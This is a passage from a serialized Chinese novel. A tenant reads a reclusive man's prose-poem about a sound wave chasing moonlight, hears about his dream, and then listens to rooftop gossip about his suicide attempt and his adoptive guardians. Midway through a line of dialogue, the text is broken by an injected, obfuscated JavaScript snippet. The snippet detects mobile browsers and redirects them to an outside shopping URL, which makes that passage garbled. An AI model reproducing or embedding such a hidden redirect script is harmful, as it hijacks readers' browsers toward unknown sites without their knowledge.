——一会儿还要回去拿身份证,得赶紧起床。 我盯着手机又确认了一遍时间,想。 接着就看见了那条新短信。是方姨的——她说,早饭在电饭煲里保温。她大概2点到家,冰箱有午饭,让我自己热好了吃。 看着这条短信,我一时不知该怎么回才好。删改许久,最后也只回了“好的,谢谢方姨”几个字。 慢吞吞爬起身,穿上衣服,洗漱完。我去厨房取了一半早饭,坐到餐桌边。 ——吃完我就出发。 我边想着,慢慢吃了起来。 馒头,鸡蛋,牛奶麦片粥。每天都是这些,简简单单,热热乎乎。吃着这简单热乎的早饭,身子也跟着热乎起来,只觉得踏踏实实,熨熨贴贴。 这顿早饭,我吃了二十分钟。吃完后,却不想动了。 不知为什么,想到要回家,我浑身上下都提不起力气。 ——等下午吧。吃了中饭,我就回去。 看看时间,刚过十一点。 还早…… 我想起书房柜子里那本《月亮和六便士》——这书我还只知道个名字,这会儿却突然想要读一读。于是,我去敲了书房的门。 意外的是,疯子看起来起床已经有一会儿了。甚至,他还穿上了T恤和休闲裤——这还是我第一次见他穿家居服以外的衣服。 “早啊,你这是准备出去?”我问。 “嗯。”他伸手在头上捋了捋,试图把头发再压缩一下,“有事?” “嗯,我来借书。”我说着,目光却在这房子和他身上来回扫。我不知道,该不该放这疯子出去。 ——他不会再来场轰轰烈烈的说走就走吧? 所幸的是,除了疯子身上那套衣服,房间里并没有什么可疑的地方。 “自己拿。”他一侧头,用下巴指了指书柜,手则向书桌上伸去。 我却没有直接去拿书,而是仍旧看着他:“你起得这样早,吃过早饭了吗?” “唔。”他含混道,从桌上拿起了一小沓纸。 “那你要出去的事,和方姨说过了没有?”我接着问。 “和她说什么?我自己的事。”他表情有些莫名其妙。 ——嗯?不需要告知监护人的吗? 我还以为他也算得上是半个行为能力人呢。 我看着疯子那张四十来岁的脸,再想起他那头顶着月亮才会说些梦话的设定,就又觉得他这大白天的出去,似乎也没什么大不了的了。也许,他只是没上班,不是不出门。 “哦,我还以为你都不出门的呢。”我打量着他的神色。 他不以为意地耸耸肩。 “可以问问,你出去是要干啥吗?”我问。 他侧过脸来,挑眉看我一眼,将手上那沓纸递了过来。 我接过,看了看顶页那张纸上的蓝黑色钢笔字,问:“你写的?” “嗯。” 我心里有些惊叹起来:难道还真是个文艺疯子。 那字迹瘦削挺立,看起来比本人是精神多了。 我低下头准备细瞧—— 第一行写着题目,是《声波与光波的故事》。 ——嘶,这猝不及防的弦学展开。 我瞬间对自己接纸的手生出些厌弃来。往下读却才发现原来写的是“一段声波”对月亮的爱慕—— “我要讲的,是一段波与另一段波的故事,是声波与光波的故事。 我讲—— 一道光射中了一个声音。 那道光,是道月光,是天黑后月亮拉起弓,射进岩缝里的第一道光。 那声音,是声脆响,是雨水顺着岩缝滴下,打在石板上发出的第一声响。 那脆响,它才刚生出来,就被那道光,那道月光,正正中中,彻彻底底地射—中—了! 于是——它听到了一个心跳, 它在自己的身体里,听到了一个不属于它的心跳—— 一个矜持昂扬,可亲,而又费解的心跳。 我听到了她的心跳。声音想。我们是同类。 我遇到了我的同类! 它也昂扬,激荡了起来。 空气震动的频率甜蜜得让它晕眩—— 多么美妙! 整个宇宙的发生,全部意识的形成,也只是为这一瞬。它们相遇的这一瞬。 多么美妙! 它变成一道呐喊,一声尖叫! 声音颤抖起来,要将那道光拥在怀里。但是—— 光穿透了它。她消失了。 她消失了。 声音在岩石间逡巡。哪里都没有她。 她消失了,带着她的昂扬,带着它的晕眩,消失了。 空气中不再有甜蜜的震动。它听见岩缝里空洞的回响。 声音低沉下来——它从一声脆响,变成了一句轻叹。 更多雨水滴落下来,岩石上响出了一片欢唱。 欢唱靠向轻叹—— 我的同伴,你为何独自呆着,独自忧伤?不如来和我们一起跳舞,一起欢唱。 同伴?轻叹想,它们和她是那样的不同! 它问它们,你们遇到过到那道光吗? 光?欢唱七嘴八舌地猜测,到底什么是光。 ——看起来,它们都没遇到过她。它们,还不知道有光。 轻叹又发出声轻叹。 你是要找光吗?地上响起了水声,涓涓如轻柔的密语。那是雨水汇成的细流。 你知道她在哪儿?轻叹急切了几分。 我知道牠——牠们去了哪儿。牠们落在了水上,水又流往了地下。牠们,牠们是去了深深的地底。密语却不急不缓。 她们?难道不止一道光?轻叹又叹一声。我要去找她出来,我,也要去那深深的地底。 密语柔声劝阻,你将迷失在无际的荒凉。 轻叹出发了。 地底无垠而空旷。只听见极遥远处巨大的闷响,还有从那最深最深的地方,传来了最缓慢低沉的呢喃。 它们都不会理我。轻叹想,它们听不见我。 它独自在地底流浪,旅途漫长而孤单。哪里都只有荒凉,哪里都是一样。 不知道走了多久,它彻底迷失了方向。 我还在走吗?轻叹怀疑着。直到,它终于听见另一个声音! 那里有声音,有别的声音!它激动起来,向那声音奔去。 那原来是条蜿蜒的暗河,跌入洞穴时发出来挣扎的怒吼。 轻叹小心靠近,问,你知道光吗? 光?你在找光?在这地下找光?怒吼大笑起来,震得溶洞微微摇颤。 ——看看这声轻叹,竟来地下找光! 轻叹害怕起来,从旁急急退开。它刚刚嘲笑了我。 难道,这地下真的没光? 它垂头向前走去,才听见了一声低吟。那是暗河在静静流淌,吟声沉稳而惆怅。 你是在找光吧。怒吼说的没错,这地下只有黑暗。低吟告诉轻叹。 那你知道哪里能找到光吗?轻叹问。 你该去那地上,地上才会有光。低吟略一沉吟—— 跟随我吧,我将流出洞口,带你找到光的方向。 轻叹跟上了低吟,随它穿行于岩间,重新上路起航。 又走了一天一夜,前面豁然变样。 空气中充满了震动,四周围绕各种声响。 我们出来了!低吟欢喜道,变成清越的吟唱。 到了!我到了地上!轻叹也激动起来,心跳震得耳膜嗡响。 它终于走到了洞外,沐浴在炽烈的日光! 一道光,又一道光,几十几百道光,它们穿过了轻叹。 这是光!这么多光!到处是光!轻叹惊叹着。 可惜,这都不是她,她并非如此张狂。她一定还在前面,在前面更远的地方! 顾不上旁的声音,轻叹告别吟唱。它奋力奔跑向前,心中充满了渴望。 不知奔跑了多久,也不知奔出了多远。轻叹慢下脚步,生起一丝迷茫。 它已经来到了地上,也找过了许多地方,却依旧未能找到,它唯一的那道光。 只有酷烈的日光,密密鞭打在它身上。 它越走越慢,越走越慢。或许她并不存在,这世上只一种光。 轻叹逃离开日光,它进入一片深邃的密林。 夜色降临下来,林中昆虫齐唱。 地上这样热闹。 轻叹喟叹一声,独自在悲伤中徜徉。 但这时,有道光穿过了它!不是它的那道,却也绝非锋利的日光。 那光微弱而轻盈,是萤火虫的荧光。 这世上,真的还有第二种光!四周仿佛在轰鸣,轻叹一阵轻颤。 它将继续寻找,它将永怀希望! 轻叹穿过腐叶,掠过沼泽。于是,它遇上了第三种光。 那是幽蓝的鬼火,那是神秘的磷光。 轻叹找遍了密林,却再不见另一种光。 你在找什么?怎的如此匆忙?虫鸣问它。 我在找光,我在找第四种光。轻叹带着着急,声调透出慌张。 你在找光?那你何不去那守林人的住房。虫鸣唧唧齐响。 守林人的住房?轻叹向外走去,虫鸣指出了方向。 外面已是清晨,太阳缓缓升上。 外面只有日光。轻叹叹息着,进了守林人的小屋。 守林人已经醒来,在炉前做起了早饭。 轻叹绕到炉边,那里面燃烧着红焰。红焰映上了它,正是那第四种光! 一定还有别的光!它小心按下雀跃,继续四下寻找,四下查探。 它听见烧水壶的嘟哝,又碰上了碗碟的轻喊。 听,这里混进来一个别的声音。椅子嘎吱作响。 是谁?是谁?它混进来做什么?屋里热闹起来。 我是一声轻叹,我来这里找光。轻叹回答。 你来找光?那你得等到了晚上。嘎吱声在这屋中悠荡。 终于到了晚上,夜色又笼罩下来。 守林人回来,他按下了电灯的开关。 屋里瞬间被点亮! 是的,这是光!轻叹想。它找到了第五种光。 它继续寻找,忽略新出现的声响。 你还在找什么?声响疑惑地探头张望。 我在找光,找另一种光。轻叹回答。 没有了,这里就只两种光。电灯轻轻滋响。 没有了?轻叹停下,怔愣了半晌。 它拖着步子,离开小屋,走进了夜色里。 于是—— 毫无预兆,全没准备,它就这样猛地撞进了第六种光! 那是天上的繁星,刺下的点点清光。 外面也有别的光! 仿佛被重重击中,新的可能在它体内叩响。 一定是的,一定是的,外面还会再找到光! 它等待着,等待着。 终于,一阵风吹开了云彩,月亮又望向了大地。 顺着她的目光,大地又重返了明亮。 一道月光射中了轻叹。 是她!它的那道光!它的那道唯一的光! 晕眩又回来了。轻叹攒起全部力量,要将它留在怀里。 而月光—— 月光再次穿透了它,消失了。怀里只留下空茫的惊慌。 但很快,轻叹醒过神来,转身向那月光追去。 等等我!请等等我!它大声将她呼唤。 它越跑越快,越跑越快,它狂奔起来—— 这一次,它定要将她追上! 月光却没有停留,也并不回看。她离它越来越远,一去再不复返。 她竟听不见我的声音,也觉不到我的呐喊。 轻叹越来越沉,凝成了重重的一叹。 就在此刻—— 第二道月光穿透了它。 轻叹呆住了。 于是,第三道,第四道,第几十几百,几千几万道月光穿透了它。 这些竟然都是她。它的那个唯一的她。 天地旋转起来。轻叹在嗡嗡作响,就要被风吹散。 直到太阳终于又升起,轻叹才动了动。但是—— 它已变成了游荡的幽灵,只会重复空洞的回响。 它夜夜追逐着月光,从异地再漂向他乡。如果从来没有过意义,又何惧这样的荒唐。 你为何还不回家,只身在月下奔忙?鸟儿从巢中探头,叽叽喳喳问轻叹。 嘘,别吓跑了我的月光。我在追逐她们,我在收集月光。轻叹告诉鸟儿。 鸟儿却仍在叽喳。那你该抬头去看那月亮,看看牠们出发的地方。 抬头去看月亮?但我看不见啊。轻叹一惊,我竟是个瞎子! 它沉默下来,听鸟儿讲述什么是月亮。 月亮她—— 她高过树梢,高过彩虹,高过飞鸟,高过云朵,她悬在夜空上那最高最高处。 夜间的明朗,全都只为她垂下的清眸,洒下的月光。 ——而我,我将向上攀爬,向上去寻找那唯一的月亮!轻叹想。 它微微震颤,感到了久违的激荡。居然,居然还存在新的方向! 轻叹出发了。 它逆光而上,循往那光最浓最密的地方。那是月亮的方向。 于是,前途复通向前途,上方还有那上方。 鸟鸣放弃了随同,风声也不再为伴。它却绝不停留,它只一路向上。 空气越来越稀薄,轻叹也渐行渐僵。它要凝固住了—— 它终于,阻塞在一片逼仄的空旷。 就这样,不知僵了有多久,轻叹终于动了。 它不再挣扎着向前,低头坠向了来方。 原来,天空不属于我。轻叹默然听着体内的闷响。 它一路向下,一路向下。 也许地面才是它真正生活的土壤。 但它忽然停住了—— 它停住了,因为它不再感觉到,那月光穿过身体时,带起的阵阵空茫。 它疑惑转身,慢慢寻了回去。原来是上方多出来块乌云。 是它?是它!是它夺去了月光,是它挡住了月亮! 轻叹愤怒起来,嗡鸣代替了闷响。我要震碎这乌云,我要重夺回月光! 轻叹一头撞向了那片乌云!—— 那乌云,乌云无视了它。 它的全部嗡鸣,全部尖啸,也未能刻下丝毫损伤。 它只是,只是一声轻叹。 轻叹穿过了乌云,再次感觉到月光。 月光带起了空茫,它们轻轻摇晃着轻叹。 它终于明白过来,那正是月光留下的共鸣,是月亮指出的远方。 那是以她的方式,她在宣示着她的存在。 轻叹静了静,然后,它向下折返。 它一路向下,一路向下,战意却一路激昂—— 我不能如此渺小,我不能只是轻叹。 我需要朋友,需要伙伴。我需要—— 我需要凝聚起力量! 轻叹回到了地面上。它开始四处游走,开始呼朋引伴。 于是声音呼应着声音,轻叹重叠上轻叹。 直到千万声音符,汇聚成雄浑宏壮的合唱。 它们振作起清风,将乌云流放。它们震散开水汽,让天气晴朗。 它们要让那月亮,再不被遮挡。它们要为那月光,准备出最好的新房。 它们要使这大地,干干净净,清清明明,遍洒满月亮的荣光! 于是—— 沐浴在这月光里,它们,奏响起最盛大的乐章! 它们讲述起故事,将它永远传唱。那是一个声波与光波的故事—— 我要讲的,是一段波与另一段波的故事,是声波与光波的故事。 我讲——” 读完了…… 我长长呼出口气,望着纸楞了好一会儿心跳才平静下来。 ——这是疯子写的? 这是诗吧?他竟然还是个诗疯子。 诗中的声波应该就是他自己。那月亮是什么呢?他的理想? 但疯子的理想不就是月亮么……这就又绕回去了。 还是说,月亮真的是一个人,一个他无法触及的人? 等我再抬起头,便看见疯子正认真地望着我——他在等我的评价。 ——嗯…… 我只好告诉他,我觉得很震撼。只是,我读的时候总感觉自己好像似乎马上即将就快要抓住些什么,但又都差那么点意思,所以——我应该是什么都没读懂。 ——我只读出来他对月亮的执着和爱恋。 听了我的描述,他哈哈一笑,似乎还挺满意。 “所以你写的是什么啊?”我将纸递回去。 “给月亮的青瓷。”他随手接过。 “青瓷?青花瓷?”我一头雾水。 他却噗地笑了,说:“就是青词, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001295|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词语的词。青词是斋醮敬天用的祭祀文章。” 我深吸了一口气,感佩交加——还真来了个玄学展开。 只是,我回忆着刚才那些字句,又觉得和他讲的青词有些货不对板。 “你是要拿出去投稿吗?”我问。好奇这年头居然还有人邮寄投稿。 他却又看傻子般看了我一眼:“青词是拿来烧的。我出去,当然是找个好地方把它烧掉。” ——原来是拿来烧的啊,那还真不需要能读懂。等等,拿来烧的? “你要把它烧掉吗?”我真的错愕了,瞪大了眼睛盯着他,“虽然读不懂,但看起来还挺不错的。烧掉太可惜了吧?你真的可以去试着投一投稿的。” 他却哼笑一声,垂眼翻看手上那叠纸:“本来就是为月亮写的,当然是烧掉。” 我一时语塞。顿了顿,才问:“那不用等到晚上再烧吗?现在月亮都没出来,它收得到?” “晚上我就不能出去了。”他双眸黯了黯,随即却又抬起头,得意道,“现在烧也一样。因为今天是周一,Monday - Moon Day,白天也有月亮的。” 我又深深吸了一口气,对疯子的英文储备和清奇思路十分钦佩。 ——等等……周一? 我突然反应过来:第一次遇到疯子的那天,不也是个周一吗? 如果就像他说的,Monday白天也有月亮,是不是也就意味着,那天白天他也是在“发疯”? ——当然,要不为什么他会以为我是他臆想出来的呢? 我哭笑不得地想,也许周一还真是有些特别吧…… 但难道每个周一他都要去烧篇青词吗?他选在今天出去,可别在外面再看到些“不该看到的东西”才好。 “你怎么想着要写青词了?”我放柔了声音问他,“我是说我觉得你写得很好,你怎么想到要这样做的?” 他没有马上回答。在将近半分钟的沉默后,才慢慢说:“几天前,我做了一个梦。” ——看来周一还真是特别的,疯子大白天的就要说起梦话来。 “梦里,我变成了月亮—— “我从天上垂首看向地面,地面上是一座座石头的雕像。 “其中,有一个,我认出来雕的是我——人格化的我,它们信仰的我。 “我便垂怜于那雕像。我将月光——我的感觉之膜,伊壁鸠鲁的感觉之膜——撒到了它身上。 “月光轻薄如蝉翼,一层层,一道道,细纱般将它密密裹起。 “终于,有一天,那雕像活了过来。它感觉到微风从它身上抚过,它听见小鸟在它肩头唱歌,它看见——看见天上的月亮,我,正垂眸望着它。 “于是,我听见了它的祈祷——它还不能开口说话,祈祷却沿着月光传了回来的。它说—— “这世界多么美妙,而我多么不自由!伟大的月亮啊,您既已慷慨赐予了我觉知,为什么不同样赐予我自由呢?请让我也像您一样,能从天的一边行到天的另一边。让我的双脚可以走动,双手可以挥舞,让我——真正地活过来吧! “我同意了。于是—— “我哀伤地望向了它。 “那雕像动起来了。梦里,我又变成了那座雕像。 “我变成了那座雕像。我看见—— “我站在一个巨大的圆盘上,圆盘上立满了雕像。 “圆盘正疯速地旋转——那些雕像一动不动,也同这圆盘一起,在疯速地旋转。而我,我也在这些雕像中间,也和这圆盘一起,疯速地旋转。 “四周的一切都在向身后飞掠,它们都成了转瞬即逝的电光。 “终于,我动起来啦——我才刚刚会动,却立刻就要被这疯转的圆盘甩飞出去! “我双腿颤抖着,我的身体前翻后仰,我的手,它们胡乱挥舞着抓向空中的一切——我直直朝地面扑去。 “我摔在了地上。我用手撑住地面,努力趴稳,再一点点,一点点,慢慢感知这双腿的力量,寻找这身体的平衡。等终于再站起来时,我已经撞倒了旁边五具雕像。 “我手脚并用、七歪八扭地向着圆盘的中心走去。 “一路上,我又撞上了许多别的雕像。我听见他们叫喊的声音——不是从嘴里,而是从这圆盘的轰鸣中。我听见他们在喊—— “‘别碍事,快滚开!’‘你是瘸子吗,就不能走快点?’‘别停下,快跟上来啊!’‘别管他了,那就是个废物。’…… “我又摔在了地上。于是—— “我抬起头,望向天空,望向了那月亮。 “而那月亮,她也正哀伤地望着我。” 他说完,书房里又寂静下来——寂静就像那月亮低垂的眼眸,像那无声疯转的圆盘。 我盯着地面,甚至不知道自己该想些什么。 许久,他突然说:“之后没多久,那些字句就开始出现在我的脑子里。 “一开始只是零星的几个词,几句话,几个片段。就像岩石上落下的几个雨滴,琴键上敲出的几个音符。” 我抬起头来望向他。他垂着双眼,嘴角微微翘起:“这样听上去还不错吧。” “但是,用不了多久,它们就开始连成了串,一长串接着一长串,一大截接着一大截。它们排着队,唱着歌,转起圈来。 “它们越来越多,越来越多,变成了黑压压的一大团,嗡嗡地轰鸣着,狂蜂般卷成了一片。 “狂蜂们到处乱撞,冲击着我的大脑。它们要出来,我必须放它们出来—— “我只能,把它们写下来。” 他脸上只剩下空茫,眼睛则直直望向窗外。 我顺着他的目光,也望了过去——那里,再过几个小时,将悬起一轮明月。 “你知道那些字句是什么意思吗?” “我不知道。那不是我写的。”几秒后,他回答。又顿了顿,“至少,我不该呼朋引伴。” ——也是、“呼朋引伴”这词要是用在他身上,就真是很活用了。 “我不知道那是什么,但它们就是在那里。” 他的声音带着笑,却有些发苦。 我回头看向他。他的笑竟也染上了窗外天空的淡蓝色。 好一会儿,我开口道:“也许有个办法,能让你找到它们的意思。”我顿了顿,等他转过脸来,才一挑嘴角: “你知道,老话是这么说的,现实会抛弃你,文学会搅乱你,物理会掏空你,天文学会碾碎你。但是,数学不会——” “不会就是不会。”他微眯起双眼,笑意深了几分。 “是的,数学不会就是不会。如果那些梦境和故事让你无法理解,为什么不寻求数学的帮助呢?——我觉得,一个人就是一个方程,演算下去,总归能够找到解的。”我望着他,认真地说。 “方程么?有意思。”他眼神一亮,变得玩味起来。 “嗯,只要找到一个线头,就能顺着它解下去。这就跟破案一样。”我乐呵呵的,“只是,解方程比破案可难多了——清官难解方程式么。” 他的笑终于舒展开了。只是很快,那双眼睛又变成了空洞——他又陷进了沉思里。 好半晌,他才喃喃道:“的确是很难啊——我要怎么才能知道,我的方程,是一元的还是多元的,超越的还是递推的呢?” ——?超越的还是递推的?他在说方程? 这要是方程,别说清官了,只怕是清汤大老爷来了,他也解不了哇。 我呵呵干笑两声,起身去书架上取了那本《月亮和六便士》,回椅子上读了起来,将疯子留给了他的方程。 书翻到第二页,我忽然想起来刚读过的那首青词,就抬头去看了眼他。他竟然还保持着之前的姿势,看上去就像个被切断了电源的机器人。 直到桌上闹钟的分针都快走完半圈,他才回过神来,转身盯着那闹钟又愣了半秒,才道:“啊?——我得走了。” 说着,他站起身,揣上那几页纸就要往外走。 ——那他中饭是得在外面解决了。 我没有拦他,却看着他问道:“你身上有钱?” 他终于赏了我今天第二个看傻子的表情:“不然呢?要不你以为这一架子书是谁买的?” ——当然以为是方姨买的…… 疯子出去了。我去厨房,将剩下的早餐和冰箱里的饭菜热好了作中饭吃下,然后躺回自己床上打算继续看书。但还没翻两页我就又困了,就干脆又睡了过去。 不知睡了多久,我被敲门声吵醒——是方姨回来了。 我告诉她疯子出去的事,只是没说是出去“纵火”。 她听后,脸色僵了好几秒,眼中闪过几道惊疑,最后却也只是木着声音说了句:“别管他了。” 接着,她便说明了来意——天气要开始转凉,得换厚被子了,趁着今天天气好,正好晒晒。她想让我搭把手,从主卧的柜子里取被芯。 我连忙答应,跟着她去了主卧。 这还是我第一次进主卧。主卧进门就是个卫生间,床东西向摆着。房间很整洁,显示出房主人的严谨。要取的被子就在靠门这侧大衣柜的顶层。 方姨将人字梯架在衣柜前,推开柜门爬了上去。她费力地从柜子里翻出了一卷被芯递下来,说是给我用的。 那被芯厚实蓬松,胀得滚圆。它挡掉了我的大半张脸,抱在怀里松软软,沉甸甸的。抱着它,我的心也跟着变得又软又沉起来。 之后,方姨又递了床被芯给我,就爬下梯子,要将它收起来。 ——这才两床被芯。那疯子呢? 我想起飘窗上叠成小块的薄被,问:“不是要三床吗?” 她的动作顿了顿,没有回头:“两床就够了。” 我回头扫了眼床,上面的被子并不厚实。 第二床被子是给谁的呢?我想,没再继续这个话题。 随后,我自告奋勇地抱着被芯上了天台。 将被芯在绳子上摊开夹好,我才来得及环视这天台上的景色—— 天台上立着许多木棍,拉起了好几排绳子。这些绳子上几乎都晒满了东西,只刚刚够我再晒另一床被子的。 地上也晒了好些东西。靠中间的位置摆着个只剩骨架的方桌,上面架着一面直径近两米的竹编圆形簸箕,簸箕里晒满了红薯干。旁边的地上还铺了张方形尼龙织布,边角都压着红砖,上面晒了堆不知是什么的皱巴巴的叶子。 这天台上还挺热闹。 看来,好不容易等到了寒潮过去,大家都想来赶上这趟暑气的末班车。 之后我又爬一趟,晒好了方姨说给我盖的那床被芯。 完成这些,我回了自己房间,靠在床头继续看书。 整个下午,我只起身去上了一次厕所。屋子里一片寂静,方姨应该回主卧午睡了。 ——不知疯子回来了没有。 我躺回床上,翻着书,半心半意地想着。总觉得自己好像忘记了什么。 6. Chap.06 过去的鬼魂 Chap.6 过去的鬼魂——白天的月亮 等再听到外面的动静,书已经被我翻到了最后几页——正是库特拉斯医生讲阿塔烧了房子的段落。 仿佛被突然拉回现实世界,我这才发觉两颗眼球都变成了橡胶,将不住合拢的眼皮牢牢卡在原地。 我放下书,闭上眼休息了一会儿,这才看了眼手机——已经快5点了。 ——这么晚了。 爬下床伸了个大大的懒腰。大概是一个姿势躺太久,这会儿我脑袋又晕又胀,身体也有些发飘。 但,这又或许是因为我才刚回地球呢?我有些好笑地想—— 要是像疯子说的,书就是月光,那么,他的青词和梦境,还有这小说,都能织成一张网了。虽然只是暂时,我刚刚也被它捉去了吧。 打了个呵欠,我开门走出了房间。 电视开着,方姨却没在客厅。她应该是在厨房,那里面也有响动。 书房的门还关着,也不知道疯子回来了没有。 我去餐厅倒水喝,正遇上方姨端着刚洗好的苹果走出厨房。打过招呼,她将果盘放下,在抹布上擦了手,说是要上天台去收被子。 于是我又自告奋勇去收被子。 一出大门,我才猛然醒悟:我今天好像该回去拿身份证来着。 ——但都这个点了……下次吧。 我晃晃脑袋,向楼上爬去。 爬过四段楼梯,就到了天台。还在楼道里,我便听见上面有人说话的声音,但等我走出楼道,最先看到的却不是人,因为—— 我的眼睛被豁然点亮了。外面阳光还很充沛,在地上铺了层金橘,很有些耀眼。西边的天空驻着几团云彩,也是金橘色的,颜色却浓艳绚烂得多,就像一大片烧起来的火。 我扫了眼正弯腰收拾簸箕和尼龙布的两个人,那是位老阿姨和一位老大爷,然后是更远处从绳子上往下拉沙发垫的阿姨。接着,我又将目光移回了那片火光般的云彩。 不知道,阿塔烧房子时燃起的火光是不是就是这样。 《月亮和六便士》已读到尾声,我还没找到一个明确的答案,却有了种隐约的奇怪印象。这种“奇怪印象”是什么,在登上天台,看见晚霞的那一刻,我总算明白过来—— 斯特里克兰德是颗醒觉了的火星。他“点燃”他所遇到的人们,于是火灾将他们的生活烧得只剩废墟。而他之所以能点燃他们,或许是因为每个人体内原本就藏着某种冲动,逃离“日常”的冲动。 我也是这样。 我的烦闷,大概正是那冲动在体内撞击出的空响—— 斯特里克兰德有画画那根“芯”,所以他抛下生活去了塔希提。 我却没有“芯”。我没有理想可逃,也没有地方好去。 我有的,只是眼前这日常。 收回目光,我开始收拾被芯。先将一床在绳子上折了两折翻下来,搭在背上转身往回走。 快到楼洞时,又遇到两位阿姨说笑着从里面出来,应该也是上来收东西的。我靠边让她们先走,听见了她们和收红薯干的阿姨打招呼。 那位老阿姨的声音有些熟悉。 果然,等我再次上到天台时,她叫住了我。 她当时正在和另一位年纪相仿的阿姨说话。我一走出楼梯间,对话戛然而止。有那么一瞬,她俩像是被按下了暂停键。但紧接着,又动了起来——一个飞快的眼神,她右边那位阿姨也转过身来,目光在我身上好奇地上下扫动。 我认出她是501的阿姨。显然,她也认出我来了。 “阿姨好!”我笑吟吟地打了招呼。 “真是你。”老阿姨脸上也堆起笑,笑里却带了迟疑,“还住502呢?上来收被子?” “嗯。”我点点头。她立刻又向旁边的人扬了扬眉毛。 我正要转身,她却又问:“上次你说,叫什么名字来着?” “我叫晋江行,阿姨。”我停住微笑。 “哦对,是晋江行。”她也弯起了眼睛,“你叫我刘姨好了。这是三楼的赵阿姨。”说着,她拍了拍那位阿姨的胳膊。 问好后,刘姨招手示意我走近些,又干脆向前倾过身来,压低了声音:“这两天,那个疯子…没什么事吧?”赵姨的目光也紧紧栓在了我脸上。 ——等的就是这出。 我告诉两位阿姨,最近我工作忙,难得遇上他。但就我所见,他看着就像个正常人,都看不出来是个疯子。又谢过一遍刘姨:要不是她好心提醒,这会儿我肯定还蒙在鼓里。 刘姨右手一摆,像在拍开空气:“嗐!这还不是方季雅她做的不地道。她家那样的情况,怎么还好意思往外出租。”说着,她朝赵姨微微一扬下巴:“这小江人都住进来这么久了,她还半个字没提过她家里那个是个疯子。” ——小江就小江吧,刘姨是懂C位的。 赵姨撇了撇夕阳下分外红亮的嘴唇:“她那人不向来这样吗?要不是她和老程那样不做人,他们家能出那档子事,那孩子能疯?” 她扭过头来盯着我,半张脸转进暗影里:“看你这斯斯文文的,听我句劝,赶紧搬了吧。你住那502啊,家风实在不好。” ——疯子的事和方姨有关?家风不好……是在说之前的那些房客?那个老程又是谁? 我脸上堆满惊诧,目光在二人脸上打转,语气里也满是犹疑:“啊?不会吧?方姨她…人很好啊?” “好?”赵姨冷哼一声,嘴角弯出了讥讽,“好到把好端端一个孩子逼得离家出走,最后逼疯了?要不是当年那事,那孩子现在指不定有多出息!我说那程峰,他就是个畜生!那方季雅也不是什么好货色!” 话没落音,刘姨就猛拽了她一把:“没凭没据的,别说了。” 这时,另一位在远处收衣服的阿姨也凑了过来,胳膊上还搭着一半衣物。 天台上的人,终于都到这正中间来聚齐了。 “你说这孩子就是租502的?”刚过来的阿姨盯着我打量了半晌,听我喊了阿姨好,才扯个笑递过来,又转脸去问刘姨。 刘姨点点头,介绍这是六楼的肖阿姨。 被刚刚这么一打岔,赵姨劲头却更足了。她双手往腰间一叉,嚷嚷起来: “随便往外说?没证据?嗬!大半夜的,那孩子大半个身子都吊在五楼窗户外面,拽都拽不住。要不是警察消防队来得快,命早没啦!当时闹得天翻地覆,这整个家属区里谁没起来?他们哭的喊的,你们没听见?还要什么证据,小区里谁不知道?” 我脑子里轰地一白——疯子他……跳过楼?那个写青词、只在意月亮的疯子? “你只管去问,看谁不是这个说法!”赵姨将脖子伸到了四人的正中间,眼珠一鼓,目光扫过我们三人:“这事要有假,程峰那刚提的劳人科科长,能立马就给撸了下去?他老爹在局里干了一辈子,老先进了,要不是这丑事,他能到死都是个科员?” 说罢,她向后一仰,抱起胳膊:“要我说,他那老爹就是被他活活气死的。要不怎么好端端一个人,之前还精精神神地到处转,这事出了不到一年,说没就没了?” 刘姨仍抚着她胳膊,紧紧皱着眉:“那你也小点声,又不是什么光彩的事。” “小声什么?他们做都做了,还怕别人说不成!”赵姨下巴抬得平行了地面,脸上一半橘红,一半暗褐。她一甩头,又哼出声冷笑来。 刘姨则重重叹了口气,发卷上的暖光也跟着一跳:“谁知道怎么就出了那档子事呢。也真是那孩子命不好,那么小爹妈就都死了。” “唉,谁能想到呢。当初老程和方季雅对他那样好,连我们这些自己做爹妈的,对亲儿子亲闺女也都比不上。”肖姨也唏嘘起来。 ——等等,这老程,程峰不会就是疯子的伯父吧?他伯父不是十多年前就去世了吗?但疯子明明说过,他是这两三年疯了之后才搬过来的。 而且……疯子不是姓赵吗? “那也是该的吧?自己亲弟弟家的孩子,又不是外人。而且,谁知道他们抱的都是些什么心思。”赵姨撇了撇嘴。 这话音一落,几人又静了静。好一会儿,肖姨才又叹了口气,接着道: “唉,话是这样说,但寻常谁能做到他们俩那样。他们给他的,哪样不是最新的最好的?学个画都要找市里最好的老师。那年头,60块钱一小时的课啊,那是什么价?他两个一送就是两年!这要放我们家,那真是送不起。” “哼,那不也是羊毛出在羊身上。那孩子爹妈不是交通事故死的嘛,好像还是个工程队的渣土车。当时赔了不少钱吧?就算在那孩子身上用得再多,能用几个钱?”赵姨挑着眉,边说脑袋边轻轻摇晃。 ——疯子的父母死于交通事故?那他怎么说是身体的原因呢? ……某种意义上,这样说也没错…… “赔个什么钱哟!”刘姨却抿起嘴来,“那开发商、工程队都是在交警那边有关系的,出车祸那地方又是个郊区,就是徐家岭那个三岔口,别说红绿灯、摄像头了,那时候连个路灯都没有,撞了也就白撞了。最后还是开发商那边给了几万块钱意思一下,当是息事宁人。” “不是说那渣土车超重吗?”赵姨眼睛瞪得溜圆,直直盯向刘姨。 “是超重了。他们不是骑摩托走下面那条直道嘛,那渣土车从上面冲下来,没刹住就直接撞上了。要不是超重,那几万块都拿不着!”刘姨眨眨眼,两边嘴角向下圈住了下巴。 几人又唏嘘了一气。 “我记得那孩子那会儿才上小学吧?”肖姨说。 “是啊,才刚五年级。他那时候是真招人爱呢,”刘姨嘴角仍向下坠着,“又听话又懂礼貌,学习也好,画画还能在市里拿奖,也算对得起他们两个的培养了。我家老褚就总说,老程能收养这孩子是他们家的福气,他将来是要有大出息的。唉!谁想到,就成了现在这幅样子呢。” 